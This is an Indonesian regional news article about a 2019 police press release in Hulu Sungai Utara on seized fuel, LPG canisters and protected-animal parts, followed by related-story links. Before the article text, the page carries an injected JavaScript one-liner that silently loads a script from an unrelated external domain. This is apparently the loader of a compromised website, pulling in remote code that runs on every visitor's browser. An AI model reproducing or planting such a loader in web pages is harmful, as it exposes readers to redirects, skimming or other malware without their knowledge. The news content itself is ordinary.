(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Dalam beberapa bulan saja Polres Hulu Sungai Utara (HSU) berhasil mengungkap beberapa kasus di antaranya tindak pidana pelanggaran undang-undang minyak dan gas serta kasus konservasi sumber daya alam serta lainnya.
Hal tersebut disampaikan Kapolres HSU AKBP Ahmad Arif Sofian SIk saat menggelar press release tindak pidana konservasi sumber daya alam hayati dan eksosistem serta tindak pidana minyak dan gas bumi tahun 2019, di halaman Mapolres, Senin (4/3).
Adapun tindak pidana yang diungkap sejak Januari 2019 ada beberapa kasus, di antaranya tindak pidana pelanggaran undang-undang minyak dan gas dengan barang bukti BBM 700 liter, dan premium 200 liter. Kasus perlindungan konsumen dengan barang bukti 250 buat tabung LPG 3 kg dan isi 49 tabung LPG serta kasus konservasi sumber daya alam hayati berupa kulit, tengkorak, tanduk dan tulang satwa yang saat ini disita pihak Polres HSU.
Lebih lanjut, Kapolres Arif mengungkapkan, selama awal tahun 2019 ini pihaknya mengungkap beberapa kasus seperti tindak pidana gas dan minyak yang dinilai merugikan masyarakat. Adapun modus yang digunakan dalam tindak pidana khususnya gas elpiji 3 kg diduga akan dijual lagi ke luar daerah, sehingga berakibat terjadinya kelangkaan.
“Untuk gas elpiji 3 kg ini dijual lagi ke luar daerah. Dan ini merugikan bagi masyarakat HSU sendiri,” ungkap Arif.
Dirinya menilai tindak pidana pelanggaran terhadap undang-undang tentang minyak dan gas ini cukup marak. “Karena setelah ada pelaku ditangkap, beberapa hari kemudian ada lagi pelaku lainnya yang ditangkap,” lanjutnya
Selanin itu, Kapolres juga mengimbau kepada masyarakat agar tidak melakukan perbuatan yang melanggar hukum seperti kasus yang ditangani tersebut. “Hal seperti ini bukan hal biasa. Akan tetapi melanggar undang-undang. Oleh karena itu kami dari Polres HSU terus berupaya memaksimalkan subsidi-subsidi dari pemerintah,” pungkasnya.
Menanggapi hal tersebut, Bupati HSU H Abdul Wahid HK yang hadir dalam press release tersebut mengapresiasi apa yang sudah dilakukan Polres. Bupati juga mengimbau agar masyarakat tidak terlibat dalam segala hal yang melanggar hukum. “Kami berharap agar masyarakat dalam menjalankan usaha agar sesuai dengan peraturan supaya terhindar dari masalah hukum, apalagi usaha minyak dan gas,” pesan Bupati Wahid. (dew)
KANALKALIMANTAN.COM, - Asuransi merupakan salah satu bentuk perlindungan yang perlu dimiliki setiap orang. Dengan memiliki… Read More
KANALKALIMANTAN.COM - Peringatan Hari Lupus Sedunia ini diadakan pada tanggal 10 Mei setiap tahunnya. Hari… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Buaya yang kerap muncul di Sungai Pelambuan, Kecamatan Banjarmasin Barat, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pelaksaanan program TNI Manunggal Membangun Desa (TMMD) ke-120 Kodim 1001/HSU-BLG di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
This website uses cookies.